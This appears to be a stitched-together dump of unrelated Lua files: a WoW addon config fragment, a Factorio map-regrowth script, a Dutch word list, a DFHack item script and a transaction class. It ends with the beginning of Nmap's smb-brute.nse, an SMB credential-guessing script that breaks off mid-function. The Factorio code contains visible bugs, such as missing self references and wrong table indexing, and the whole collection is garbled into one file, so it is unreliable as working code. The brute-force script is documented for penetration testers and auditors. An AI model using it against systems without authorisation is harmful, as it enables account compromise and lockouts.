height = 256,
strata = "LOW",
level = 5,
scale = 0.6,
pos = { a1="BOTTOMLEFT", x=0, y=0, },
texture = {
file = "Interface\\AddOns\\rBBS_Diablo2\\media\\figure_left.tga",
},
}
---------------------------------
-- CONFIG
---------------------------------
|
--- original code: https://github.com/Oarcinae/FactorioScenarioMultiplayerSpawn/commits/master
--- modify by kevinma
local KC = require('klib/container/container')
local Event = require('klib/event/event')
local dlog = require('klib/utils/dlog')
local CHUNK_SIZE = 32
local TICKS_PER_SECOND = 60
local TICKS_PER_MINUTE = TICKS_PER_SECOND * 60
local TICKS_PER_HOUR = TICKS_PER_MINUTE * 60
-- Code tracks all chunks generated and allows for deleting inactive chunks
-- Relies on some changes to RSO to provide random resource locations the next
-- time the land is regenerated. -- (THIS IS CURRENTLY NOT WORKING IN 0.16,
-- resources always how up in the same spot!)
--
-- Basic rules of regrowth:
-- 1. Area around player is safe for quite a large distance.
-- 2. Rocket silo won't be deleted. - PERMANENT
-- 3. Chunks with pollution won't be deleted.
-- 4. Chunks with railways won't be deleted.
-- 5. Anything within radar range won't be deleted, but radar MUST be active.
-- -- This works by refreshing all chunk timers within radar range using
-- the on_sector_scanned event.
-- 6. Chunks timeout after 1 hour-ish, configurable
-- 7. For now, oarc spawns are deletion safe as well, but only immediate area.
-- Generic Utility Includes
-- Default timeout of generated chunks
local REGROWTH_TIMEOUT_TICKS = TICKS_PER_HOUR
--local REGROWTH_TIMEOUT_TICKS = TICKS_PER_MINUTE -- for debug
-- We can't delete chunks regularly without causing lag.
-- So we should save them up to delete them.
local REGROWTH_CLEANING_INTERVAL_TICKS = REGROWTH_TIMEOUT_TICKS
-- Not used right now.
-- It takes a radar 7 hours and 20 minutes to scan it's whole area completely
-- So I will bump the refresh time of blocks up by 8 hours
-- RADAR_COMPLETE_SCAN_TICKS = TICKS_PER_HOUR*8
-- Additional bonus time for certain things:
-- REFRESH_BONUS_RADAR = RADAR_COMPLETE_SCAN_TICKS
local GAME_SURFACE_NAME = "nauvis"
local RegrowthMap = KC.singleton('klib/addon/RegrowthMap', function(self)
self.surface = game.surfaces[GAME_SURFACE_NAME]
self.chunk_regrow = {}
self.chunk_regrow.map = {}
self.chunk_regrow.removal_list = {}
self.chunk_regrow.rso_region_roll_counter = 0
self.chunk_regrow.player_refresh_index = 1
self.chunk_regrow.min_x = 0
self.chunk_regrow.max_x = 0
self.chunk_regrow.x_index = 0
self.chunk_regrow.min_y = 0
self.chunk_regrow.max_y = 0
self.chunk_regrow.y_index = 0
self.chunk_regrow.force_removal_flag = -1000
self:OarcRegrowthOffLimits({ x = 0, y = 0 }, 10)
end)
function RegrowthMap:GetChunkCoordsFromPos(pos)
return { x = math.floor(pos.x / CHUNK_SIZE), y = math.floor(pos.y / CHUNK_SIZE) }
end
-- Broadcast messages to all connected players
function RegrowthMap:SendBroadcastMsg(msg)
for name,player in pairs(game.connected_players) do
player.print(msg)
end
end
-- Marks a chunk a position that won't ever be deleted.
function RegrowthMap:OarcRegrowthOffLimitsChunk(pos)
local c_pos = self:GetChunkCoordsFromPos(pos)
if (self.chunk_regrow.map[c_pos.x] == nil) then
self.chunk_regrow.map[c_pos.x] = {}
end
self.chunk_regrow.map[c_pos.x][c_pos.y] = -1
end
-- Marks a safe area around a position that won't ever be deleted.
--local function OarcRegrowthOffLimits(pos, chunk_radius)
function RegrowthMap:OarcRegrowthOffLimits(pos, chunk_radius)
local c_pos = self:GetChunkCoordsFromPos(pos)
for i = -chunk_radius, chunk_radius do
for k = -chunk_radius, chunk_radius do
local x = c_pos.x + i
local y = c_pos.y + k
if (self.chunk_regrow.map[x] == nil) then
self.chunk_regrow.map[x] = {}
end
self.chunk_regrow.map[x][y] = -1
end
end
end
-- Adds new chunks to the global table to track them.
-- This should always be called first in the chunk generate sequence
-- (Compared to other RSO & Oarc related functions...)
function RegrowthMap:OarcRegrowthChunkGenerate(pos)
local c_pos = self:GetChunkCoordsFromPos(pos)
-- If this is the first chunk in that row:
if (self.chunk_regrow.map[c_pos.x] == nil) then
self.chunk_regrow.map[c_pos.x] = {}
end
-- Confirm the chunk doesn't already have a value set:
if (self.chunk_regrow.map[c_pos.x][c_pos.y] == nil) then
self.chunk_regrow.map[c_pos.x][c_pos.y] = game.tick
end
-- Store min/max values for x/y dimensions:
if (c_pos.x < self.chunk_regrow.min_x) then
self.chunk_regrow.min_x = c_pos.x
end
if (c_pos.x > self.chunk_regrow.max_x) then
self.chunk_regrow.max_x = c_pos.x
end
if (c_pos.y < self.chunk_regrow.min_y) then
self.chunk_regrow.min_y = c_pos.y
end
if (c_pos.y > self.chunk_regrow.max_y) then
self.chunk_regrow.max_y = c_pos.y
end
end
-- This is the main work function, it checks a single chunk in the list
-- per tick. It works according to the rules listed in the header of this
-- file.
function RegrowthMap:OarcRegrowthOnTick()
-- Every half a second, refresh all chunks near a single player
-- Cyles through all players. Tick is offset by 2
if ((game.tick % (30)) == 2) then
self:OarcRegrowthRefreshPlayerArea()
end
-- Every tick, check a few points in the 2d array
-- According to /measured-command this shouldn't take more
-- than 0.1ms on average
for i = 1, 20 do
self:OarcRegrowthCheckArray()
end
-- Send a broadcast warning before it happens.
if ((game.tick % REGROWTH_CLEANING_INTERVAL_TICKS) == REGROWTH_CLEANING_INTERVAL_TICKS - 601) then
if (#global.chunk_regrow.removal_list > 100) then
self:SendBroadcastMsg("Map cleanup in 10 seconds, if you don't want to lose what you found drop a powered radar on it!")
end
end
-- Delete all listed chunks
if ((game.tick % REGROWTH_CLEANING_INTERVAL_TICKS) == REGROWTH_CLEANING_INTERVAL_TICKS - 1) then
if (#self.chunk_regrow.removal_list > 100) then
OarcRegrowthRemoveAllChunks()
self:SendBroadcastMsg("Map cleanup done, sorry for your loss.")
end
end
end
-- Refresh all chunks near a single player. Cyles through all connected players.
function RegrowthMap:OarcRegrowthRefreshPlayerArea()
self.chunk_regrow.player_refresh_index = self.chunk_regrow.player_refresh_index + 1
if (self.chunk_regrow.player_refresh_index > #game.connected_players) then
self.chunk_regrow.player_refresh_index = 1
end
if (game.connected_players[self.chunk_regrow.player_refresh_index]) then
self:OarcRegrowthRefreshArea(game.connected_players[self.chunk_regrow.player_refresh_index].position, 4, 0)
end
end
-- Refreshes timers on all chunks around a certain area
function RegrowthMap:OarcRegrowthRefreshArea(pos, chunk_radius, bonus_time)
local c_pos = self:GetChunkCoordsFromPos(pos)
for i = -chunk_radius, chunk_radius do
for k = -chunk_radius, chunk_radius do
local x = c_pos.x + i
local y = c_pos.y + k
if (self.chunk_regrow.map[x] == nil) then
self.chunk_regrow.map[x] = {}
end
if (self.chunk_regrow.map[x][y] ~= -1) then
self.chunk_regrow.map[x][y] = game.tick + bonus_time
end
end
end
end
-- Check each chunk in the 2d array for a timeout value
function RegrowthMap:OarcRegrowthCheckArray()
-- Increment X
if (self.chunk_regrow.x_index > self.chunk_regrow.max_x) then
self.chunk_regrow.x_index = self.chunk_regrow.min_x
-- Increment Y
if (self.chunk_regrow.y_index > self.chunk_regrow.max_y) then
self.chunk_regrow.y_index = self.chunk_regrow.min_y
dlog("Finished checking regrowth array." .. self.chunk_regrow.min_x .. " " .. self.chunk_regrow.max_x .. " " .. self.chunk_regrow.min_y .. " " .. self.chunk_regrow.max_y)
else
self.chunk_regrow.y_index = self.chunk_regrow.y_index + 1
end
else
self.chunk_regrow.x_index = self.chunk_regrow.x_index + 1
end
-- Check row exists, otherwise make one.
if (self.chunk_regrow.map[self.chunk_regrow.x_index] == nil) then
self.chunk_regrow.map[self.chunk_regrow.x_index] = {}
end
-- If the chunk has timed out, add it to the removal list
local c_timer = self.chunk_regrow.map[self.chunk_regrow.x_index][self.chunk_regrow.y_index]
if ((c_timer ~= nil) and (c_timer ~= -1) and ((c_timer + REGROWTH_TIMEOUT_TICKS) < game.tick)) then
-- Check chunk actually exists
if (self.surface.is_chunk_generated({ x = (self.chunk_regrow.x_index),
y = (self.chunk_regrow.y_index) })) then
table.insert(self.chunk_regrow.removal_list, { x = self.chunk_regrow.x_index,
y = self.chunk_regrow.y_index })
self.chunk_regrow.map[self.chunk_regrow.x_index][self.chunk_regrow.y_index] = nil
end
end
end
-- Remove all chunks at same time to reduce impact to FPS/UPS
function RegrowthMap:OarcRegrowthRemoveAllChunks()
while (#self.chunk_regrow.removal_list > 0) do
local c_pos = table.remove(self.chunk_regrow.removal_list)
local c_timer = self.chunk_regrow.map[c_pos.x][c_pos.y]
-- Confirm chunk is still expired
if (c_timer == nil) then
-- Check for pollution
if (self.surface.get_pollution({ c_pos.x * CHUNK_SIZE, c_pos.y * CHUNK_SIZE }) > 0) then
self.chunk_regrow.map[c_pos.x][c_pos.y] = game.tick
-- Else delete the chunk
else
self.surface.delete_chunk(c_pos)
self.chunk_regrow.map[c_pos.x][c_pos.y] = nil
end
else
-- DebugPrint("Chunk no longer expired?")
end
end
end
-- Refreshes timers on all chunks near an ACTIVE radar
function RegrowthMap:OarcRegrowthSectorScan(event)
self:OarcRegrowthRefreshArea(event.radar.position, 14, 0)
self:OarcRegrowthRefreshChunk(event.chunk_position, 0)
end
-- Refreshes timers on a chunk containing position
function RegrowthMap:OarcRegrowthRefreshChunk(pos, bonus_time)
local c_pos = self:GetChunkCoordsFromPos(pos)
if (self.chunk_regrow.map[c_pos.x] == nil) then
self.chunk_regrow.map[c_pos.y] = {}
end
if (self.chunk_regrow.map[c_pos.x][c_pos.y] ~= -1) then
self.chunk_regrow.map[c_pos.x][c_pos.y] = game.tick + bonus_time
end
end
-- self.surface.find_entities_filtered{area = {game.player.position, {game.player.position.x+32, game.player.position-`32}}, type= "resource"}
-- If an entity is mined or destroyed, then check if the chunk
-- is empty. If it's empty, reset the refresh timer.
function RegrowthMap:OarcRegrowthCheckChunkEmpty(event)
if ((event.entity.force ~= nil) and (event.entity.force ~= "neutral") and (event.entity.force ~= "enemy")) then
if self:CheckChunkEmpty(event.entity.position) then
dlog("Resetting chunk timer." .. event.entity.position.x .. " " .. event.entity.position.y)
self:OarcRegrowthForceRefreshChunk(event.entity.position, 0)
end
end
end
-- This complicated function checks that if a chunk
function RegrowthMap:CheckChunkEmpty(pos)
local chunkPos = self:GetChunkCoordsFromPos(pos)
local search_top_left = { x = chunkPos.x * CHUNK_SIZE, y = chunkPos.y * CHUNK_SIZE }
local search_area = { search_top_left, { x = search_top_left.x + CHUNK_SIZE, y = search_top_left.y + CHUNK_SIZE } }
local total = 0
for f, _ in pairs(game.forces) do
if f ~= "neutral" and f ~= "enemy" then
local entities = self.surface.find_entities_filtered({ area = search_area, force = f })
total = total + #entities
if (#entities > 0) then
for _, e in pairs(entities) do
if ((e.type == "player") or
(e.type == "car") or
(e.type == "logistic-robot") or
(e.type == "construction-robot")) then
total = total - 1
end
end
end
end
end
-- A destroyed entity is still found during the event check.
return (total == 1)
end
-- Forcefully refreshes timers on a chunk containing position
-- Will overwrite -1 flag.
function RegrowthMap:OarcRegrowthForceRefreshChunk(pos, bonus_time)
local c_pos = self:GetChunkCoordsFromPos(pos)
if (self.chunk_regrow.map[c_pos.x] == nil) then
self.chunk_regrow.map[c_pos.y] = {}
end
self.chunk_regrow.map[c_pos.x][c_pos.y] = game.tick + bonus_time
end
-- Refreshes timers on all chunks around a certain area
function RegrowthMap:OarcRegrowthRefreshArea(pos, chunk_radius, bonus_time)
local c_pos = self:GetChunkCoordsFromPos(pos)
for i = -chunk_radius, chunk_radius do
for k = -chunk_radius, chunk_radius do
local x = c_pos.x + i
local y = c_pos.y + k
if (self.chunk_regrow.map[x] == nil) then
self.chunk_regrow.map[x] = {}
end
if (self.chunk_regrow.map[x][y] ~= -1) then
self.chunk_regrow.map[x][y] = game.tick + bonus_time
end
end
end
end
--RegrowthMap:on(defines.events.on_surface_created, function(event)
-- -- surface_index
-- GAME_SURFACE_NAME = game.surfaces[1]
--end)
RegrowthMap:on(defines.events.on_chunk_generated, function(self, event)
self:OarcRegrowthChunkGenerate(event.area.left_top)
end)
RegrowthMap:on(defines.events.on_built_entity, function(self, event)
self:OarcRegrowthOffLimitsChunk(event.created_entity.position)
end)
--- main function
RegrowthMap:on(defines.events.on_tick, function(self, event)
self:OarcRegrowthOnTick()
end)
RegrowthMap:on(defines.events.on_sector_scanned, function(self, event)
self:OarcRegrowthRefreshChunk(event)
end)
RegrowthMap:on(defines.events.on_robot_built_entity, function(self, event)
self:OarcRegrowthOffLimitsChunk(event.created_entity.position)
end)
RegrowthMap:on(defines.events.on_player_mined_entity, function(self, event)
self:OarcRegrowthCheckChunkEmpty()
end)
Event.register(defines.events.on_robot_mined_entity, function(self, event)
self:OarcRegrowthCheckChunkEmpty()
end)
return RegrowthMap
|
data:extend({
{
type = "recipe",
name = "radar-passive",
enabled = true,
ingredients = {
{"radar", 1},
},
result = "radar-passive",
},
})
|
return {'kenia','keniaan','keniaans','keniaanse','kenau','kenbaar','kenbaarheid','kenbron','kendo','kenen','kengetal','kenleer','kenletter','kenmerk','kenmerken','kenmerkend','kennel','kennelijk','kennen','kenner','kennersblik','kennersoog','kennis','kennisachterstand','kennisbank','kennisborging','kennisbron','kenniscentrum','kennisdebat','kennisdeel','kenniseconomie','kennisgebied','kennisgeving','kennisindustrie','kennisinfrastructuur','kennisinstituut','kennisintensief','kennisintensiteit','kenniskloof','kennislacune','kennisland','kennisleer','kennismaatschappij','kennismaken','kennismaking','kennismakingsadvertentie','kennismakingsavond','kennismakingsbezoek','kennismakingsbijeenkomst','kennismakingsgesprek','kennismakingsronde','kennismakingstijd','kennismakingstournee','kennismanagement','kennismanager','kennisname','kennisnemen','kennisneming','kennisnet','kennisniveau','kennisontwikkeling','kennisoverdracht','kennissamenleving','kennissen','kennissenkring','kennisslijtage','kennissysteem','kennistechnologie','kennistheorie','kennisuitwisseling','kennisvergaring','kennisvermeerdering','kennisveroudering','kennisverwerving','kennisvoorsprong','kennisvorming','kenniswerker','kenschets','kenschetsen','kenschetsend','kenschetsing','kenspreuk','kentaur','kenteken','kentekenbewijs','kentekenen','kentekenhouder','kentekennummer','kentekenplaat','kentekenregister','kentekenregistratie','kenteren','kentering','kentheoretisch','kenvermogen','kenobject','kennissociologie','kennistheoretisch','kenwijsje','kennemer','kennisinstelling','kennisnetwerk','kennisdeling','kennisbeheer','kennisgever','kennisbasis','kennisbehoefte','kennisdomein','kenniskring','kennisverspreiding','kenniswinst','kennelhoest','kennelnaam','kennisbeleid','kenniscirculatie','kenniscreatie','kennisdrager','kennisgebrek','kennisgroep','kennisideaal','kennisketen','kennismakelaar','kennismakingscursus','kennismakingsdag','kennismakingsles','kennismakingsreis','kennismakingsspel','kennismarkt','kennismigrant','kennismigrantenregeling','kennisopbouw','kennisorganisatie','kennisplatform','kennispositie','kennispotentieel','kennisproductie','kennisquiz','kennisregio','kennisruimte','kennissector','kennisstad','kennistest','kennistoets','kennistransfer','kennisveld','kennisverrijking','kennisvraag','kenniswerk','kenniscampus','kennisdatabase','kennisgebruik','kennistoegang','kennisproces','kennismakingsperiode','kennisgevingsprocedure','kentekenherkenning','kennistekort','kenniskaart','kennisproductiviteit','kenitra','kennedy','kennemerland','kenniswijk','ken','kendra','kendrick','kenji','kenneth','kenny','keno','kent','kenza','kenzo','kenter','kentie','kennes','kentgens','kengen','kenbeek','kennemers','ken','kenaus','kenbaarder','kenbare','kenbronnen','kencijfers','kende','kenden','kengetallen','kenletters','kenmerkende','kenmerkender','kenmerkendst','kenmerkendste','kenmerkt','kenmerkte','kenmerkten','kennelijke','kennelijker','kennels','kennend','kennende','kenners','kennersblikken','kennisachterstanden','kennisbanken','kennisbronnen','kennisgenomen','kennisgevingen','kennisinstellingen','kennisinstituten','kennisje','kennislacunes','kennismakingen','kennismakingsadvertenties','kennismakingsbijeenkomsten','kennismakingsgesprekken','kennismanagers','kennissystemen','kennisvragen','kenniswerkers','kenschetsende','kenschetsender','kenschetst','kenschetste','kenschetsten','kenspreuken','kent','kentauren','kentekende','kentekenplaten','kentekens','kentekent','kenter','kenterde','kenterden','kenteringen','kentert','kenianen','kenniscentra','kennisgebieden','kennisgemaakt','kennisintensieve','kennismaakt','kennismaakte','kennisniveaus','kennissenkringen','kentekenend','kentekenende','kentekennummers','kentekenregistraties','kentheoretische','kenvermogens','kenobjecten','kentekenbewijzen','kenbaarst','kennistheoretische','kenwijsjes','kens','kendras','kendricks','kenjis','kenneths','kennys','kenos','kents','kenzas','kenzos','kennisdragers','kenniskringen','kennismigranten','kennisnetwerken','kennisdomeinen','kennisidealen','kennisvelden','kennismakingsdagen','kennisgroepen','kennismakingslessen','kennisprocessen','kennisbehoeften','kennisjes','kennismakingsbezoeken','kennistoetsen','kentekenhouders','kennisorganisaties','kennismakingsspelletjes','kennisregios','kentekenplaatje','kennismakingscursussen','kennisuitwisselingen','kennistesten','kennismakingsbezoekje','kennismakingsavonden','kennistekorten','kennisgevingsprocedures','kennisketens','kennisplatformen','kenniskaarten','kennislanden','kennisgevers','kenniswerken','kennisplatforms','kennissectoren'}
|
--item/create.lua v1.0
--author expwnent, modified by roses
--creates an item of a given type and material
local utils = require 'utils'
validArgs = validArgs or utils.invert({
'help',
'creator',
'material',
'item',
'matchingGloves',
'matchingShoes',
'dur',
'quality',
})
local args = utils.processArgs({...}, validArgs)
if args.help then
print(
[[item/create.lua
arguments:
-help
print this help message
-creator id
specify the id of the unit who will create the item
examples:
0
2
-material matstring
specify the material of the item to be created
examples:
INORGANIC:IRON
CREATURE_MAT:DWARF:BRAIN
PLANT_MAT:MUSHROOM_HELMET_PLUMP:DRINK
-item itemstr
specify the itemdef of the item to be created
examples:
WEAPON:ITEM_WEAPON_PICK
-matchingShoes
create two of this item
-matchingGloves
create two of this item, and set handedness appropriately
-dur #
length of time, in in-game ticks, for the item to exist
0 means the item is permanent
DEFAULT: 0
]])
return
end
if not args.creator then
args.creator = 0
end
local item1 = dfhack.script_environment('functions/item').create(args.item,args.material,args.creator,args.quality,args.dur)
if args.matchingGloves or args.matchingShoes then
if args.matchingGloves then
item1 = df.item.find(item1)
item1:setGloveHandedness(1);
end
local item2 = dfhack.script_environment('functions/item').create(args.item,args.material,args.creator,args.quality,args.dur)
if args.matchingGloves then
item2 = df.item.find(item2)
item2:setGloveHandedness(2);
end
end
|
local transaction=Class { }
transaction.__name='Transaction Record Object'
function transaction:__init(startTime, sourceConnector, receivedMessage, sentResponse, sourceError)
if sourceError then
self._erredOnSource=true
end
self._startTime=startTime or gettime()
local status=sourceError and MESSAGE_STATUS.ERROR or MESSAGE_STATUS.RECEIVED
self._receivedMessage=Message:new(sourceConnector, status, receivedMessage, sentResponse, sourceError)
self._sentMessages={}
self._processedQueueMessages={}
end
function transaction:getRawData() return self._receivedMessage._data end
function transaction:getMsg() return self._receivedMessage:getDataObject() end
function transaction:addSentMessage(destinationConnector, sentMessage, receivedResponse)
local status=destinationError and MESSAGE_STATUS.ERROR or qfn and MESSAGE_STATUS.QUEUED or MESSAGE_STATUS.SENT
local m=Message:new(destinationConnector, status, sentMessage, receivedResponse)
table.insert(self._sentMessages, m)
self._finishedTime=getFormattedDate()
end
return transaction
|
local bit = require "bit"
local math = require "math"
local msrpc = require "msrpc"
local nmap = require "nmap"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local unpwdb = require "unpwdb"
description = [[
Attempts to guess username/password combinations over SMB, storing discovered combinations
for use in other scripts. Every attempt will be made to get a valid list of users and to
verify each username before actually using them. When a username is discovered, besides
being printed, it is also saved in the Nmap registry so other Nmap scripts can use it. That
means that if you're going to run <code>smb-brute.nse</code>, you should run other <code>smb</code> scripts you want.
This checks passwords in a case-insensitive way, determining case after a password is found,
for Windows versions before Vista.
This script is specifically targeted towards security auditors or penetration testers.
One example of its use, suggested by Brandon Enright, was hooking up <code>smb-brute.nse</code> to the
database of usernames and passwords used by the Conficker worm (the password list can be
found at http://www.skullsecurity.org/wiki/index.php/Passwords, among other places.
Then, the network is scanned and all systems that would be infected by Conficker are
discovered.
From the penetration tester perspective its use is pretty obvious. By discovering weak passwords
on SMB, a protocol that's well suited for bruteforcing, access to a system can be gained.
Further, passwords discovered against Windows with SMB might also be used on Linux or MySQL
or custom Web applications. Discovering a password greatly beneficial for a pen-tester.
This script uses a lot of little tricks that I (Ron Bowes) describe in detail in a blog
posting, http://www.skullsecurity.org/blog/?p=164. The tricks will be summarized here, but
that blog is the best place to learn more.
Usernames and passwords are initially taken from the unpwdb library. If possible, the usernames
are verified as existing by taking advantage of Windows' odd behaviour with invalid username
and invalid password responses. As soon as it is able, this script will download a full list
of usernames from the server and replace the unpw usernames with those. This enables the
script to restrict itself to actual accounts only.
When an account is discovered, it's saved in the <code>smb</code> module (which uses the Nmap
registry). If an account is already saved, the account's privileges are checked; accounts
with administrator privileges are kept over accounts without. The specific method for checking
is by calling <code>GetShareInfo("IPC$")</code>, which requires administrative privileges. Once this script
is finished (all other smb scripts depend on it, it'll run first), other scripts will use the saved account
to perform their checks.
The blank password is always tried first, followed by "special passwords" (such as the username
and the username reversed). Once those are exhausted, the unpwdb password list is used.
One major goal of this script is to avoid account lockouts. This is done in a few ways. First,
when a lockout is detected, unless you user specifically overrides it with the <code>smblockout</code>
argument, the scan stops. Second, all usernames are checked with the most common passwords first,
so with not-too-strict lockouts (10 invalid attempts), the 10 most common passwords will still
be tried. Third, one account, called the canary, "goes out ahead"; that is, three invalid
attempts are made (by default) to ensure that it's locked out before others are.
In addition to active accounts, this script will identify valid passwords for accounts that
are disabled, guest-equivalent, and require password changes. Although these accounts can't
be used, it's good to know that the password is valid. In other cases, it's impossible to
tell a valid password (if an account is locked out, for example). These are displayed, too.
Certain accounts, such as guest or some guest-equivalent, will permit any password. This
is also detected. When possible, the SMB protocol is used to its fullest to get maximum
information.
When possible, checks are done using a case-insensitive password, then proper case is
determined with a fairly efficient bruteforce. For example, if the actual password is
"PassWord", then "password" will work and "PassWord" will be found afterwards (on the
14th attempt out of a possible 256 attempts, with the current algorithm).
]]
---
--@usage
-- nmap --script smb-brute.nse -p445 <host>
-- sudo nmap -sU -sS --script smb-brute.nse -p U:137,T:139 <host>
--
--@output
-- Host script results:
-- | smb-brute:
-- | bad name:test => Valid credentials
-- | consoletest:test => Valid credentials, password must be changed at next logon
-- | guest:<anything> => Valid credentials, account disabled
-- | mixcase:BuTTeRfLY1 => Valid credentials
-- | test:password1 => Valid credentials, account expired
-- | this:password => Valid credentials, account cannot log in at current time
-- | thisisaverylong:password => Valid credentials
-- | thisisaverylongname:password => Valid credentials
-- | thisisaverylongnamev:password => Valid credentials
-- |_ web:TeSt => Valid credentials, account disabled
--
-- @args smblockout This argument will force the script to continue if it
-- locks out an account or thinks it will lock out an account.
-- @args brutelimit Limits the number of usernames checked in the script. In some domains,
-- it's possible to end up with 10,000+ usernames on each server. By default, this
-- will be <code>5000</code>, which should be higher than most servers and also prevent infinite
-- loops or other weird things. This will only affect the user list pulled from the
-- server, not the username list.
-- @args canaries Sets the number of tests to do to attempt to lock out the first account.
-- This will lock out the first account without locking out the rest of the accounts.
-- The default is 3, which will only trigger strict lockouts, but will also bump the
-- canary account up far enough to detect a lockout well before other accounts are
-- hit.
-----------------------------------------------------------------------
author = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "brute"}
---The maximum number of usernames to check (can be modified with smblimit argument)
-- The limit exists because domains may have hundreds of thousands of accounts,
-- potentially.
local LIMIT = 5000
hostrule = function(host)
return smb.get_port(host) ~= nil
end
---The possible result codes. These are simplified from the actual codes that SMB returns.
local results =
{
SUCCESS = 1, -- Login was successful
GUEST_ACCESS = 2, -- Login was successful, but was granted guest access
NOT_GRANTED = 3, -- Password was correct, but user wasn't allowed to log in (often happens with blank passwords)
DISABLED = 4, -- Password was correct, but user's account is disabled
EXPIRED = 5, -- Password was correct, but user's account is expired
CHANGE_PASSWORD = 6, -- Password was correct, but user can't log in without changing it
ACCOUNT_LOCKED = 7, -- User's account is locked out (hopefully not by us!)
ACCOUNT_LOCKED_NOW = 8, -- User's account just became locked out (oops!)
FAIL = 9, -- User's password was incorrect
INVALID_LOGON_HOURS = 10, -- Password was correct, but user's account has logon time restrictions in place
INVALID_WORKSTATION = 11 -- Password was correct, but user's account has workstation restrictions in place
}
---Strings for debugging output
local result_short_strings = {}
result_short_strings[results.SUCCESS] = "SUCCESS"
result_short_strings[results.GUEST_ACCESS] = "GUEST_ACCESS"
result_short_strings[results.NOT_GRANTED] = "NOT_GRANTED"
result_short_strings[results.DISABLED] = "DISABLED"
result_short_strings[results.EXPIRED] = "EXPIRED"
result_short_strings[results.CHANGE_PASSWORD] = "CHANGE_PASSWORD"
result_short_strings[results.ACCOUNT_LOCKED] = "LOCKED"
result_short_strings[results.ACCOUNT_LOCKED_NOW] = "LOCKED_NOW"
result_short_strings[results.FAIL] = "FAIL"
result_short_strings[results.INVALID_LOGON_HOURS] = "INVALID_LOGON_HOURS"
result_short_strings[results.INVALID_WORKSTATION] = "INVALID_WORKSTATION"
---The strings that the user will see
local result_strings = {}
result_strings[results.SUCCESS] = "Valid credentials"
result_strings[results.GUEST_ACCESS] = "Valid credentials, account granted guest access only"
result_strings[results.NOT_GRANTED] = "Valid credentials, but account wasn't allowed to log in (often happens with blank passwords)"
result_strings[results.DISABLED] = "Valid credentials, account disabled"
result_strings[results.EXPIRED] = "Valid credentials, account expired"
result_strings[results.CHANGE_PASSWORD] = "Valid credentials, password must be changed at next logon"
result_strings[results.ACCOUNT_LOCKED] = "Valid credentials, account locked (hopefully not by us!)"
result_strings[results.ACCOUNT_LOCKED_NOW] = "Valid credentials, account just became locked (oops!)"
result_strings[results.FAIL] = "Invalid credentials"
result_strings[results.INVALID_LOGON_HOURS] = "Valid credentials, account cannot log in at current time"
result_strings[results.INVALID_WORKSTATION] = "Valid credentials, account cannot log in from current host"
---Constants for special passwords. These each contain a null character, which is illegal in
-- actual passwords.
local USERNAME = "\0username"
local USERNAME_REVERSED = "\0username reversed"
local special_passwords = { USERNAME, USERNAME_REVERSED }
---Generates a random string of the requested length. This can be used to check how hosts react to
-- weird username/password combinations.
--@param length (optional) The length of the string to return. Default: 8.
--@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore.
--@return The random string.
local function get_random_string(length, set)
return stdnse.generate_random_string(length or 8,
set or "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_")
end
---Splits a string in the form "domain\user" into domain and user.
--@param str The string to split
--@return (domain, username) The domain and the username. If no domain was given, nil is returned
-- for domain.
local function split_domain(str)
local username, domain
local split = stdnse.strsplit("\\", str)
if(#split > 1) then
domain = split[1]
username = split[2]
else
domain = nil
username = str
end
return domain, username
end
---Formats a username/password pair with an optional result. Just a way to keep things consistent
-- throughout the program. Currently, the format is "username:password => result".
--@param username The username.
--@param password [optional] The password. Default: "<unknown>".
--@param result [optional] The result, as a constant. Default: not used.
--@return A string representing the input values.
local function format_result(username, password, result)
if(username == "") then
username = "<blank>"
end
if(password == nil) then
password = "<unknown>"
elseif(password == "") then
password = "<blank>"
end
if(result == nil) then
return string.format("%s:%s", username, password)
else
return string.format("%s:%s => %s", username, password, result_strings[result])
end
end
---Decides which login type to use (lanman, ntlm, or other). Designed to keep things consistent.
--@param hostinfo The hostinfo table.
--@return A string representing the login type to use (that can be passed to SMB functions).
local function get_type(hostinfo)
-- Check if the user requested a specific type
if(nmap.registry.args.smbtype ~= nil) then
return nmap.registry.args.smbtype
end
-- Otherwise, base the type on the operating system (TODO: other versions of Windows (7, 2008))
-- 2k8 example: "Windows Server (R) 2008 Datacenter without Hyper-V 6001 Service Pack 1"
if(string.find(string.lower(hostinfo['os']), "vista") ~= nil) then
return "ntlm"
elseif(string.find(string.lower(hostinfo['os']), "2008") ~= nil) then
return "ntlm"
elseif(string.find(string.lower(hostinfo['os']), "Windows 7") ~= nil) then
return "ntlm"
end
return "lm"
end
---Stops the session, if one exists. This can be called as frequently as needed, it'll just return if no
-- session is present, but it should generally be paired with a <code>restart_session</code> call.
--@param hostinfo The hostinfo table.
--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined.
local function stop_session(hostinfo)
local status, err
if(hostinfo['smbstate'] ~= nil) then
stdnse.debug2("Stopping the SMB session")
status, err = smb.stop(hostinfo['smbstate'])
if(status == false) then
return false, err
end
hostinfo['smbstate'] = nil
end
return true
end
---Starts or restarts a SMB session with the host. Although this will automatically stop a session if
-- one exists, it's a little cleaner to pair this with a <code>stop_session</code> call.
--@param hostinfo The hostinfo table.
--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined.
local function restart_session(hostinfo)
local status, err, smbstate
-- Stop the old session, if it exists
stop_session(hostinfo)
stdnse.debug2("Starting the SMB session")
status, smbstate = smb.start_ex(hostinfo['host'], true, nil, nil, nil, true)
if(status == false) then
return false, smbstate
end
hostinfo['smbstate'] = smbstate
return true
end
---Attempts to log into an account, returning one of the <code>results</code> constants. Will always return to the
-- state where another login can be attempted. Will also differentiate between a hash and a password, and choose the
-- proper login method (unless overridden). Will interpret the result as much as possible.
--
-- The session has to be active (ie, <code>restart_session</code> has to be called) before calling this function.
--
--@param hostinfo The hostinfo table.
--@param username The username to try.
--@param password The password to try.
--@param logintype [optional] The logintype to use. Default: <code>get_type</code> is called. If <code>password</code>
-- is a hash, this is ignored.
--@return Result, an integer value from the <code>results</code> constants.
local function check_login(hostinfo, username, password, logintype)
local result
local domain = ""
local smbstate = hostinfo['smbstate']
if(logintype == nil) then
logintype = get_type(hostinfo)
end
-- Determine if we have a password hash or a password
local status, err
if(#password == 32 or #password == 64 or #password == 65) then
-- It's a hash (note: we always use NTLM hashes)
status, err = smb.start_session(smbstate, smb.get_overrides(username, domain, nil, password, "ntlm"), false)
else
